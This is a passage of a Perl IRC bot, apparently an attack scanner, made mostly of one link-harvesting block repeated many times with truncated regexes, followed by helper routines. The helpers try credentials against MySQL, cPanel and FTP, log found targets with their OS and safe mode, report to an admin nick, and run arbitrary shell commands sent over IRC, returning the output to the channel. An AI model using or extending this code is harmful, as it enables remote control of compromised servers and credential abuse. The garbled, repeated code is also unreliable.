push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } #sub dorklist() { #$dorklist1 = $dorklist[rand @dorklist]; #&msg("$chan",".$dorklist1."); #&msg("$chan","Dork Colocada"); #} if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } if (!@list) { while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } if (!@list) { while ($res =~ m/) { $datas =~ s/\s+//g; if($datas ne "") { if($datas eq "$data") { $return = 1; } } } close file; return $return; } sub setArrayToTxt { my ($file, @data,$uri_escape) = @_; $file = $file.".txt"; foreach my $data(@data) { if($data !~ /^[0-9]+$/) { $data = uri_escape($data); &saveFile($file,$data); } } } sub getTxtToArray { my @list; my $file = shift; $file = $file.".txt"; if(-e $file) { if(open(my $fh, $file)){ while(my $line = <$fh>) { $line =~ s/\s+//g; push(@list, $line); } } } return @list; } sub engineQuery { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ($query eq "") { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } sub saveFile { my ($file, $data) = @_; my $out = 0; if(open (FH,">> $file")) { chomp($data); print FH $data."\n"; close FH; $out = 1; } return $out; } sub createList { $data = $_[0]; $file = $_[1]; open(my $fh, '>>', $file); chomp($data); print $fh $data."\n"; close $fh; } #check limit scan sub checkLimit { my ($nick) = shift; my $out = 0; if(!$privscan and !&isAdmin($nick)) { if($limitScan > 0){ if($cLimit <= $limitScan) { $out = 1; } } else { $out = 1; } } else { if(&isAdmin($nick)) { $out = 1; } } return $out; } #check prite mode scan sub checkPrivacy { my $nick = shift; my $out = 0; if($privscan and !&isAdmin($nick)) { $out = 1; } return $out; } ################################################### END HELPER ################################################### sub clean { my @cln = (); my %visit = (); foreach my $element (@_) { $element =~ s/\/+/\//g; next if $visit{$element}++; push @cln, $element; } return @cln; } sub cleanUrl { my $url = shift; if ($url =~ /http/ || $url =~ /ftp/) { $url =~ s/(https?:\/?\/?|ftps?:\/?\/?)//;} if(substr($url, 0, 3) eq "www") { $url =~ s/www2?\.//; } if ($url =~ /forum\./) { $url =~ s/forum\.//;} if($url =~ /\//) { $url =~ /(.+?)\//; $url = $1;} if(substr($url, -1) eq "/") { $url = substr($url,0, -1); } return $url; } sub getDb { my ($platform,$host,$db,$user,$pass) = @_; my $out = 0; my $dsn = "dbi:$platform:$db:$host:3306"; my $connect= DBI->connect($dsn,$user,$pass); if ($connect) { $out = 1; } return $out; } sub getCpanel { my ($site, $user, $pass) = @_; my $out = 0; my $url = "http://".$site.":2082"; my $ua = LWP::UserAgent->new; $ua->timeout($timeout); my $req = HTTP::Request->new(GET => $url); $req->authorization_basic($user, $pass); my $res = $ua->request($req); if($res->is_success){ $out = 1; } return $out; } sub ftpConnect { use Net::FTP; my ($host,$user,$pass) = @_; my $out = 0; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 2); if($ftp->login($user,$pass)) { $out = 1; } $ftp->quit; return $out; } sub saveTarget { my($file,$url,$os,$safe) = @_; &createList("$url\n(OS:$os) (SAFE:$safe)\n-----------------------------------------------------------------------------------------", $file); return true; } sub sendMsg { my($tipe, $id,$logo,$asus1logo,$engine,$chan, $nick,$msg,$os,$safe) = @_; my $adm = $data{"admin"}; my $dbg = $data{"debug"}; &msg($adm, $art{"front"}."10ID:$id ".$art{"circ1"}."$nick".$art{"circ2"}.$art{"div"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"}); if($pub) { &msg($dbg, $art{"front"}."10ID:$id ".$art{"circ1"}."$nick".$art{"circ2"}.$art{"div"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"}); } if(!&isAdmin($nick)) { &msg("$nick", $art{"front"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"}); } if($tipe == 1) { &msg("$chan",$art{"front"}."$logo 0Send to 10ID:$id".$art{"back"}); } elsif($tipe == 2) { # &msg("$chan", $art{"front"}."10ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Executing payload...".$art{"back"}); &msg("$chan",$art{"front"}."10ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."$logo".$art{"div"}.$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:$safe".$art{"circ2"}.$art{"back"}); } } sub links { my @list; my $host = $_[0]; my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host .= "/"; $hdir .= "/"; $host =~ s/\/\//\//g; $hdir =~ s/\/\//\//g; push(@list,$host,$hdir); return @list; } sub showVersion { my $path = shift; &msg("$path","coi"); } sub _get { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(10); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res; } sub get_content { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(10); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } sub isAdmin { my $status = 0; my $nick = $_[0]; if ($nick eq $data{"admin"} || $nick eq "ScanneD") { $status = 1; } return $status; } sub shell { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub search_engine_query() { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ($query eq "") { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n"; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } sub msg { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice{ return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }